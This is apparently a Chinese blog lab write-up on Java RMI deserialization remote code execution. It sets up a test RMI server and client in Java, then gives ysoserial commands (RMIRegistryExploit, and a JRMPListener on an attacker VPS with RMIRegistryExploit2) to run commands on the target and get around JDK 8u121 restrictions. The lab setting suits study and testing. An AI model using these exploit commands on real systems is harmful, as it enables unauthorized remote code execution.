参考文献:https://blog.csdn.net/lmy86263/article/details/72594760
https://joychou.org/java/rmi-rce-exploit.html
https://xz.aliyun.com/t/2479
https://blog.csdn.net/LeeHDsniper/article/details/71599504
遇见的问题
rmiclient.jar中没有主清单属性
解决方法:解压jar包–>查看META-INF/MANIFEST.MF
是否有Main-Class
–>没有的话添加上去Main-Class: Client
(其中Client为要运行的class
,冒号后面加空格)
Java RMI概念
Java RMI用于不同虚拟机之间的通信,这些虚拟机可以在不同的主机上,也可以在同一个主机上。在RMI中的核心是远程对象(remote object),除了对象本身所在的虚拟机,其他虚拟机也可以调用此对象的方法,而且这些虚拟机可以不在同一个主机上。每个远程对象都要实现一个或者多个远程接口来标识自己,声明了可以被外部系统或者应用调用的方法。
本地搭建rmi测试环境
- java项目的目录以及需要导入的
jar包
(jre用的1.6版本) Servel.java接口文件(远程方法接口,该接口必须继承自Remote接口。Remote接口是一个标识接口,用于标识所包含的方法可以从非本地虚拟机上调用的接口,Remote接口本身不包含任何方法)
1
2
3
4
5
6import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Servel extends Remote {
public String action(String arg)throws RemoteException;
}Serverlmp.java文件(远程方法接口实现类,
UnicastRemoteObject类
的构造函数抛出了RemoteException,故其继承类不能使用默认构造函数,继承类的构造函数必须也抛出RemoteException,由于方法参数与返回值最终都将在网络上传输,故必须是可序列化的)1
2
3
4
5
6
7
8
9
10
11
12
13
14import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class Serverlmp extends UnicastRemoteObject implements Servel {
protected Serverlmp() throws RemoteException {
super();
// TODO Auto-generated constructor stub
}
@Override
public String action(String arg) throws RemoteException {
System.out.println(arg);
return arg;
}
}Run.java文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Run {
public static void main(String[] args) {
try {
Servel server = new Serverlmp();
int port=Integer.parseInt(args[0]);
String registry_name=args[1];
Registry registry = LocateRegistry.createRegistry(port); #创建并导出接受指定port请求的本地主机上的Registry实例
registry.rebind(registry_name, server);
System.out.println("Service Start!\n");
} catch (Exception e) {
e.printStackTrace();
}
}
}将
Run.java
导出为可执行的jar文件
,注意将第三方库也打包进来(在项目上右键点击Export
–>JAR file–>选择一个路径–>finish)- 运行
jar包
1
java -jar "rmiserver.jar" 6600 rmi
RMI客户端
直接在项目中添加
Client.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception
{
String ip=args[0];
int port=Integer.parseInt(args[1]);
String registry_name=args[2];
String msg=args[3];
Registry registry=LocateRegistry.getRegistry(ip,port);
Servel business=(Servel)registry.lookup(registry_name);
business.action(msg);
}
}打包为
jar包
并运行1
java -jar "rmiclient.jar" 10.22.x.xxx 6600 rmi "whoami"
攻击过程(与CVE-2018-2628攻击过程类似)
1 | java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 10.22.8.218 6600 CommonsCollections1 "touch 1.txt" |
- 错误原因:JDK 8u121版本对RMI做了限制。只允许相关白名单类
现在可以执行的poc
利用ysoserial在vps上监控一个JRMP端口已经要执行的命令
1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'touch 1.txt'
执行EXP
1
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit2 10.22.x.xxx 6600 120.xx.xxx.xx 12345